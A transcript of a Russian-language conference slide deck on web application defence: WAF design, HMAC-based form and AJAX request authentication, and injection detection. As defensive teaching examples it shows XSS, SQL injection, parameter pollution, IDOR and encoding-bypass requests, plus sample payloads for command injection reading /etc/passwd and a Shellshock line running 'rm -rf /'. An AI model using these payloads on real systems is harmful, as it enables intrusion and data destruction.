sibirctf 2016. Практические методы защиты веб-приложений
Post on 09-Jan-2017
116 Views
Preview:
TRANSCRIPT
ПРАКТИЧЕСКИЕ МЕТОДЫ ЗАЩИТЫ
ВЕБ-ПРИЛОЖЕНИЙ
Денис Колеговdkolegov@ptsecurity.com
@dnkolegov
ptsecurity.com
ptsecurity.com
# whoami3
@dnkolegov
dnkolegov[d0g]gmail.com
dkolegov[d0g]ptsecurity.com
ptsecurity.com
Наша команда4
PT Application Firewall Research Team
Задачи• Разработка новых методов и алгоритмов защиты
• Разработка профилей защиты приложений
• Прототипирование механизмов защиты
• Подготовка конкурсов для PHDays WAF Bypass
ptsecurity.com
Результат5
1. Что такое веб-приложение?
2. Что такое WAF?
3. Аутентификация сообщений
4. Обнаружение инъекций
5. Виртуальный патчинг
6. Адаптация DOMPurify
План
ptsecurity.com
Что такое веб-приложение?
ptsecurity.com
Определение8
Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер, а сервером – веб-сервер
Структура• Веб-браузер
• Веб-сервер
• Сервер приложений
• СУБД
ptsecurity.com
Как работает веб-приложение9
GET / HTTP/1.1Host: www.example.comConnection: close
HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
<!DOCTYPE html><html><body><h1>Hello, World!</h1></body></html>
ptsecurity.com
Как работает веб-приложение10
GET /account/gtmData?include_events=1 HTTP/1.1Host: www.examle.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brCookie: it_csrf=1CCD0EE612B14C870DDBAA495D270606; _msuuid_i0w6e1n8s0=8B6C8DE7-C4D2-4B23-9DEF; Connection: close
HTTP/1.1 200 OKServer: nginxContent-Type: application/jsonContent-Length: 51Vary: Accept-EncodingDate: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
{"environment":"prod","isMobile":false,"user":null}
ptsecurity.com
Особенности11
Огромное количество технологий и их реализаций
Доступность и распространенность
Простота использования
Низкий порог входа
• для злоумышленников
• для разработчиков
• для пентестеров/баг-хантеров
ptsecurity.com
Порог входа12
Program
Yahoo
Mail.Ru
OpenSSL
Reports resolved
3192
1334
512
21
Dovecot 4
Nginx 3
Apache 3
Что такое WAF?
Что такое WAF?5
HTTP
ptsecurity.com
Определения
An appliance, server plugin, or filter that applies a set of rules to an HTTP conversation
A security solution on the web application level which does not depend on the application itself
A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components
15
ptsecurity.com
Web Application Firewall Evaluation Criteria
Зал славы16
ptsecurity.com
Ivan Ristic Ryan Barnett
Marcus RanumWilliam Cheswick Gene Spafford
Зал славы17
ptsecurity.com
Ivan Novikov@d0znpp
Arseny Reutov@ru_raz0r
Nick Galbreath@NGalbreath
Brian Rectanus@brianrectanus
Памятка по терминам
• То, что может сделать с информацией атакующий, называется угрозой (threat)
• То, где и благодаря чему он может это сделать, называется уязвимостью(vulnerability), обусловленной недостатком (weakness)
• То, как он может это сделать, называется атакой (attack)
• То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk)
• То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security)
• То, что минимизирует риск, обеспечивает безопасность (safety)
18
ptsecurity.com
Причины и следствия19
ptsecurity.com
Недостаток Угроза
Уязвимость Атака
Риск
Незащищенность
Небезопасность
©Vladimir Kochetkov
Классический WAF20
ptsecurity.com
ptsecurity.com
Компоненты21
Обнаружение атак• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)
• Обнаружение инъекций
• Поиск параметров веб-приложения
Ослабление атак, от которых трудно защититься• Соответствие RFC
• Аутентификация сообщений
• Шифрование (URL, скрытых полей)
• Маскирование данных
• Блокирование IP, пользователя, завершение сессии
Виртуальный патчинг• Предотвращение использования обнаруженных уязвимостей
ptsecurity.com
Сценарии использования22
Элемент многоуровневой защиты
Если в принципе невозможно устранить уязвимость в самом приложении
• Legacy
• Third-party
Необходимый функционал безопасности отсутствует или сложно реализуем
• Защита от подбора паролей
• Защита от DDoS-атак
• Управление доступом
• Защита от нежелательной автоматизации
Виртуальное устранение уязвимости до реального устранения уязвимости в исходном коде
ptsecurity.com
Источники ограничений23
Множество технологий
Модель черного ящика
Отсутствие стандартов
Развитие клиентской части веб-приложений
ptsecurity.com
Множество технологий24
• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP• Load Balancers: F5 BIG-IP, Citrix NetScaler, …• Web-servers: Apache, Nginx, IIS, GWS, …• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …• JavaScript libraries: jQuery, lodash, …• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …• HTML, CSS, XML/SOAP, JSON
ptsecurity.com
Модель черного ящика25
Веб-приложение – это последовательность запросов и ответов
Непонимание контекста
Непонимание логики взаимодействия• Боты
• Взлом аккаунта
• Злоупотребления (abuse/misuse)
ptsecurity.com
Отсутствие стандартов26
GET /output.app?par1=1&par1=2&par1=3 HTTP/1.1Host: www.example.comConnection: close
HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
?
//output.appfunction output(http){
return http.getParamValueByName("par1");}
Отсутствие стандартов27
ptsecurity.com
ptsecurity.com
Минута из жизни WAF28
CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Модель черного ящика29
CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF30
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF31
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF32
GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF33
GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF34
GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF35
GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
Минута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
36
ptsecurity.com
Минута из жизни WAF37
ptsecurity.com
function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>
Минута из жизни WAF38
ptsecurity.com
function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>
Минута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
39
ptsecurity.com
HTTP/1.1 200 OKX-XSS-Protection: 0Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF40
GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
a({"c":"user@goodmail.com"})
ptsecurity.com
Минута из жизни WAF41
GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
a({"c":"user@goodmail.com"})
ptsecurity.com
Минута из жизни WAF42
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF43
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF44
POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
page=<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF45
POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
page=<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF46
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF47
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
Аутентификация сообщений
ptsecurity.com
Аутентификация сообщений49
Протокол HTTP не имеет встроенных механизмов аутентификации сообщений
Аутентификация HTTP-сообщений• Аутентичность источника запроса (origin authentication)• Целостность имен и значений параметров
OWASP TOP 10 2013• A4 – Insecure Direct Object Reference• A7 – Missing Function Level Access Control• A8 – Cross-Site Request Forgery (CSRF)
Назначение• Защита приложения от анализа• Уменьшение поверхности атак на приложение• Противодействие средствам автоматизации• Предотвращение использования эксплойтов
HTTP
ptsecurity.com
Пример50
ptsecurity.com
Сценарии использования51
Аутентификация источника запроса
Контроль целостности скрытых полей форм
Контроль целостности формы
Валидация заданных полей в заданных формах
Контроль целостности AJAX-запросов
Аутентификация веб-форм
ptsecurity.com
В чем проблема?53
<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="user@myshop.com"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&email=user@myshop.com
ptsecurity.com
Механизм защиты54
«Подписи запросов» API• Yahoo, Amazon S3, Facebook
WAF• ModSecurity: HMAC Token Protection• F5 Networks ASM: Dynamic Content Value• Citrix NetScaler: Form signature
ASP.NET Framework• Event Validation• View State MAC
ptsecurity.com
Как правильно55
В англоязычной литературе данный механизм защиты часто называют
• Form Signature• Form Signing• Request Signing
Терминологически это неверно: подпись подразумевает, что любой желающий может проверить истинность подписи, а в данном случае это может сделать только владелец секретного ключа
Корректный термин - аутентификация формы или запроса
ptsecurity.com
Элементарный протокол56
Client ← Server: p, h(k, p)Client → Server: p', h(k, p)Server: h(k, p) = h(k, p')
Параметры:• h – функция HMAC• p – значение параметра• k – секретный ключ сервера
ptsecurity.com
Элементарный протокол57
<html><body><form action="update" method="POST"><input type="text" name="p" value="100"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100
ptsecurity.com
Сложности на практике58
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов• Checkbox• Option• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых полей форм в HTTP-запросах
Ввод данных на стороне клиента
ptsecurity.com
Различное представление форм59
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?rand=584774" method="post"></form>
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?from=splash" method="post"></form>
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth" method="post"></form>
POST /cgi-bin/auth?rand=584774 HTTP/1.1Host: auth.mail.ruContent-Type: application/x-www-form-urlencoded
login=user&password=user123456
ptsecurity.com
Опциональные элементы60
<form action="/demo/" method="post"><select name="cars"><option value="volvo">Volvo XC90</option><option value="saab">Saab 95</option><option value="mercedes">Mercedes SLK</option><option value="audi">Audi TT</option>
</select><input type="submit" value="Submit"></form>
POST /demo HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
cars=volvo
ptsecurity.com
Опциональные элементы61
<html><body><form action="/demo/" method="post"><input type="checkbox" name="vehicle" value="Bike"> I have a bike<br><input type="checkbox" name="vehicle" value="Car" checked> I have a car<br><input type="submit" value="Submit"></form>
</html></body>
POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
vehicle=Bike&vehicle=Car
ptsecurity.com
Опциональные элементы62
<html><body><form action="/demo/" method="post"><input type="radio" name="gender" value="male">Male<br><input type="radio" name="gender" value="female">Female<br>
</form></body></html>
POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
gender=male
ptsecurity.com
Скрытые поля63
<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="user@myshop.com"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&email=user@myshop.com
ptsecurity.com
Ввод данных на стороне клиента64
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Как использовать этот протокол если p формируется в браузере?
ptsecurity.com
Validating Hashing65
key
string
regex R
HMAC of L(R)
Client ← Server: p, h(k, Tr(p, regex))Client → Server: p', h(k, Tr(p, regex))Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))
Параметры:• regex – валидирующее регулярное выражение• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих regex• Tr("abc123", "[a-z]+" ) = "123"
ptsecurity.com
Криптографические примитивы66
A format-abiding encryption scheme is an encryption scheme where the plaintext and ciphertext must have a specified format.
Format-Abiding Encryption• Format-Preserving Encryption: the plaintext and ciphertext have the same format
• Format-Transforming Encryption: the plaintext and ciphertext have different formats
K. Dyer, S. Coull, T. Ristenpart, T. Shrimpton.Format-Transforming Encryption.
ptsecurity.com
Ограничения67
• Нельзя защитить формы, динамически сгенерированные на стороне клиента средствами JavaScript
• Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX
• Нельзя защитить формы, отправляемые на сервер методом GET
ptsecurity.com
Метод вычисления токена68
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры• Имя
• [Значение]
• [Тип]
ptsecurity.com
Метод вычисления токена69
2. Построение контейнеров формы
• Контейнер скрытых полей - HFC
HFC = {hp1_name, …, hpM_name}
• Контейнер опциональных полей - OFC
OFC = {
{op1_name, op1_value1, …, op1_valueN1},
…,
{opL_name, opL_value1, …, opL_valueNL}
}
ptsecurity.com
Метод вычисления токена70
3. Вычисление подписи
• signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))
• k – секретный ключ
• time – текущее значение времени
ptsecurity.com
Метод проверки токена71
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск применяемой политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей если они есть
7. Формирование ABS и его проверка
ptsecurity.com
Пример: исходная форма72
<html><body>
<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="user@myshop.com">
</form></body></html>
ptsecurity.com
Пример: генерация токена73
ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")
HFC = "#price#role"
signature = HMAC(k, HFC · HMAC(k, ABS, time))
token = base64(HFC · signature · time)
ptsecurity.com
Пример: новая форма74
<html><body>
<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="user@myshop.com"><input type="hidden" name="token" value="2341234123…">
</form></body></html>
ptsecurity.com
Пример: аутентичный запрос75
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ptsecurity.com
Пример: манипуляция с URL76
POST /create HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&=&token=2341234123…
ptsecurity.com
Пример: атака CSRF77
POST /delete HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=
ptsecurity.com
Пример: атака повтора78
POST /admin/delete_account HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=43538475283745823748572345374527345
user=100001&token=2341234123…
ptsecurity.com
Пример: атака на бизнес-логику79
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ptsecurity.com
Пример: атака HPP80
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&price=-100&token=2341234123…
ptsecurity.com
Пример: атака IDOR81
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
ptsecurity.com
Пример: атака SQL Injection82
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2' OR '1'='1&role=user&token=2341234123…
ptsecurity.com
Пример: атака XSS83
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
Аутентификация AJAX-запросов
ptsecurity.com
В чем проблема?85
var xhr = new XMLHttpRequest();var body = 'id' + encodeURIComponent(id);xhr.open('POST', '/submit', true)xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')xhr.onreadystatechange = ...;xhr.send(body);
POST /submit HTTP/1.1Host: server.comX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencoded
id=754
ptsecurity.com
Инструментальный анализ86
http://www.slideshare.net/yalegko/whitebox-hmac-make-your-cipher-secure-to-whitebox-attacks
ptsecurity.com
White-Box Cryptography87
http://www.whiteboxcrypto.com/
ptsecurity.com
Метод защиты88
1. Для секретного ключа k генерируем код функции wbhmac на языке JavaScript, такой, что для всех строк s верно hmac(k, s) = wbhmac(s)
2. Выполняем обфускацию кода wbhmac
3. Выполняем перегрузку AJAX-методов так, чтобы каждый AJAX-запрос содержал токен, вычисленный по отправляемому запросу с помощью wbhmac
4. Разрешаем только AJAX-запросы с валидным токеном
ptsecurity.com
Гипотеза89
Если злоумышленник не знает секретного ключа k, то для инструментального анализа веб-приложения (поиска уязвимостей) ему необходимо успешно решить одну из следующих задач:
• вычислить ключ k, выполнив атаку на криптографическую хеш-функцию
• восстановить ключ k по коду функции wbhmac
• написать транслятор, автоматически преобразующий код wbhmac в код расширения для средства анализа (например, для Burp Suite или ZAP)
ptsecurity.com
Что нового90
Общая схема аутентификации веб-форм
Валидация данных, вводимых в форму на клиентской стороне
Защита AJAX-запросов от средств инструментального анализа на клиентской стороне
Обнаружение инъекций
Механика обнаружения атак92
ptsecurity.com
Normalization
Negative security model (Blacklisting)
• Signature-based (regular expressions, text)
• Syntax-based
• Rule-based
Positive security model (Whitelisting)
• Rule-based
• Static Profiling
• Dynamic Profiling
• Machine learning
Extension API Web Application Firewall Evaluation Criteria
Основной признак инъекции
ptsecurity.com
Признак уязвимости к инъекции94
Алгоритм формирования выходных данных DOUTPUT на основе входных данныхDINPUT уязвим к атаке инъекции, если от содержимого DINPUT зависит количествоузлов в дереве разбора (parse tree) для DOUTPUT
ptsecurity.com
Пример95
http://example.com/foo.html#1
http://example.com/foo.html#1;alert(1);
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
<script> var foo = 1; <script>
ptsecurity.com
Пример96
var foo = 1; var foo = 1; alert(1);
Примеры инъекций
SQL: id=42' or 1=1-- -
HTML: 111"><a href = "//evil.com">
JavaScript: 1"; alert(document.domain);//
Shell Command Injection: 192.168.10.1 && cat /etc/passwd
LDAP Injection: admin)|((userpassword=*)
XPath Injection: user' or name()='admin' or 'x'='y
Shellshock: test () { :; }; rm –rf /
97
HTTP
ptsecurity.com
Нормализация
Нормализация99
ptsecurity.com
Одни и те же данные могут быть интерпретированы по разному
Нормализация – процесс преобразования данных к формату защищаемого веб-приложения
Кодирование• URL decoding• Null-byte string termination• BASE64 decoding• HTML entities decoding• IIS-specific Unicode encoding• Double encoding
Парсинг• URL Path• HTTP Parameters• Hostname
ptsecurity.com
Пример100
